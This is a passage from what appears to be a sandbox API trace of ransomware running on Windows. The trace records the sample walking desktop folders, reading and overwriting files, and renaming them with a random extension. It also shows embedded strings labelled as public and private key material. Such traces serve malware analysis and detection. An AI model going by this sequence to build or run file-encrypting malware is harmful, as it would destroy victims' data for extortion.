wpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f10fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.323] GetCurrentThreadId () returned 0xa30 [0127.323] GetCurrentThreadId () returned 0xa30 [0127.323] GetCurrentThreadId () returned 0xa30 [0127.323] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\VlTFLyFgh_cE1K.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\vltflyfgh_ce1k.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0127.324] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0127.324] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0127.324] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x1892 [0127.324] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0127.324] ReadFile (in: hFile=0x1ec, lpBuffer=0x1f18dd0, nNumberOfBytesToRead=0x1892, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1f18dd0*, lpNumberOfBytesRead=0x18f6a0*=0x1892, lpOverlapped=0x0) returned 1 [0127.327] CloseHandle (hObject=0x1ec) returned 1 [0127.327] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\VlTFLyFgh_cE1K.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\vltflyfgh_ce1k.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0127.329] WriteFile (in: hFile=0x1ec, lpBuffer=0x1f1ae00*, nNumberOfBytesToWrite=0x1892, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f1ae00*, lpNumberOfBytesWritten=0x18f6ac*=0x1892, lpOverlapped=0x0) returned 1 [0127.332] CloseHandle (hObject=0x1ec) returned 1 [0127.333] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\VlTFLyFgh_cE1K.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\vltflyfgh_ce1k.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\VlTFLyFgh_cE1K.avi.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\vltflyfgh_ce1k.avi.zv7un")) returned 1 [0127.334] GetCurrentThreadId () returned 0xa30 [0127.334] GetCurrentThreadId () returned 0xa30 [0127.334] GetCurrentThreadId () returned 0xa30 [0127.334] GetCurrentThreadId () returned 0xa30 [0127.334] GetCurrentThreadId () returned 0xa30 [0127.334] GetCurrentThreadId () returned 0xa30 [0127.334] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95c8a2b0, ftCreationTime.dwHighDateTime=0x1d5d8b2, ftLastAccessTime.dwLowDateTime=0x77510790, ftLastAccessTime.dwHighDateTime=0x1d5d9fd, ftLastWriteTime.dwLowDateTime=0x77510790, ftLastWriteTime.dwHighDateTime=0x1d5d9fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="WkutMmuC", cAlternateFileName="")) returned 1 [0127.334] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95c8a2b0, ftCreationTime.dwHighDateTime=0x1d5d8b2, ftLastAccessTime.dwLowDateTime=0x77510790, ftLastAccessTime.dwHighDateTime=0x1d5d9fd, ftLastWriteTime.dwLowDateTime=0x77510790, ftLastWriteTime.dwHighDateTime=0x1d5d9fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="WkutMmuC", cAlternateFileName="")) returned 0 [0127.334] GetLastError () returned 0x12 [0127.334] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0127.335] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ff288a0, ftCreationTime.dwHighDateTime=0x1d5e7d5, ftLastAccessTime.dwLowDateTime=0x608e22e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x608e22e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0127.335] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0127.335] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0127.335] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9ff288a0, ftCreationTime.dwHighDateTime=0x1d5e7d5, ftLastAccessTime.dwLowDateTime=0x608e22e0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x608e22e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0127.335] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0127.335] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0127.335] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3b61420, ftCreationTime.dwHighDateTime=0x1d5e108, ftLastAccessTime.dwLowDateTime=0x8e586650, ftLastAccessTime.dwHighDateTime=0x1d5e17c, ftLastWriteTime.dwLowDateTime=0x608e22e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x1892, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="VlTFLyFgh_cE1K.avi.Zv7uN", cAlternateFileName="VLTFLY~1.ZV7")) returned 1 [0127.335] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0127.335] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0127.335] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95c8a2b0, ftCreationTime.dwHighDateTime=0x1d5d8b2, ftLastAccessTime.dwLowDateTime=0x77510790, ftLastAccessTime.dwHighDateTime=0x1d5d9fd, ftLastWriteTime.dwLowDateTime=0x77510790, ftLastWriteTime.dwHighDateTime=0x1d5d9fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="WkutMmuC", cAlternateFileName="")) returned 1 [0127.335] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0127.335] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0127.336] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95c8a2b0, ftCreationTime.dwHighDateTime=0x1d5d8b2, ftLastAccessTime.dwLowDateTime=0x77510790, ftLastAccessTime.dwHighDateTime=0x1d5d9fd, ftLastWriteTime.dwLowDateTime=0x77510790, ftLastWriteTime.dwHighDateTime=0x1d5d9fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0127.338] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95c8a2b0, ftCreationTime.dwHighDateTime=0x1d5d8b2, ftLastAccessTime.dwLowDateTime=0x77510790, ftLastAccessTime.dwHighDateTime=0x1d5d9fd, ftLastWriteTime.dwLowDateTime=0x77510790, ftLastWriteTime.dwHighDateTime=0x1d5d9fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0127.338] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabb3ae0, ftCreationTime.dwHighDateTime=0x1d5d9b8, ftLastAccessTime.dwLowDateTime=0x8a4e2be0, ftLastAccessTime.dwHighDateTime=0x1d5e180, ftLastWriteTime.dwLowDateTime=0x8a4e2be0, ftLastWriteTime.dwHighDateTime=0x1d5e180, nFileSizeHigh=0x0, nFileSizeLow=0x138f5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="7Avvg.wav", cAlternateFileName="")) returned 1 [0127.338] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0127.338] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0127.338] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\7Avvg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\7avvg.wav"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbabb3ae0, ftCreationTime.dwHighDateTime=0x1d5d9b8, ftLastAccessTime.dwLowDateTime=0x8a4e2be0, ftLastAccessTime.dwHighDateTime=0x1d5e180, ftLastWriteTime.dwLowDateTime=0x8a4e2be0, ftLastWriteTime.dwHighDateTime=0x1d5e180, nFileSizeHigh=0x0, nFileSizeLow=0x138f5)) returned 1 [0127.339] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\7Avvg.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7vwxs5wooyrqhsz3\\wkutmmuc\\7avvg.wav")) returned 0x20 [0127.339] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7vWXs5wOoyRqHSZ3\\WkutMmuC\\7Avvg.wav", dwFileAttributes=0x80) returned 1 [0127.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e5cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.342] GetCurrentThreadId () returned 0xa30 [0127.342] GetCurrentThreadId () returned 0xa30 [0127.342] GetCurrentThreadId () returned 0xa30 [0127.343] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 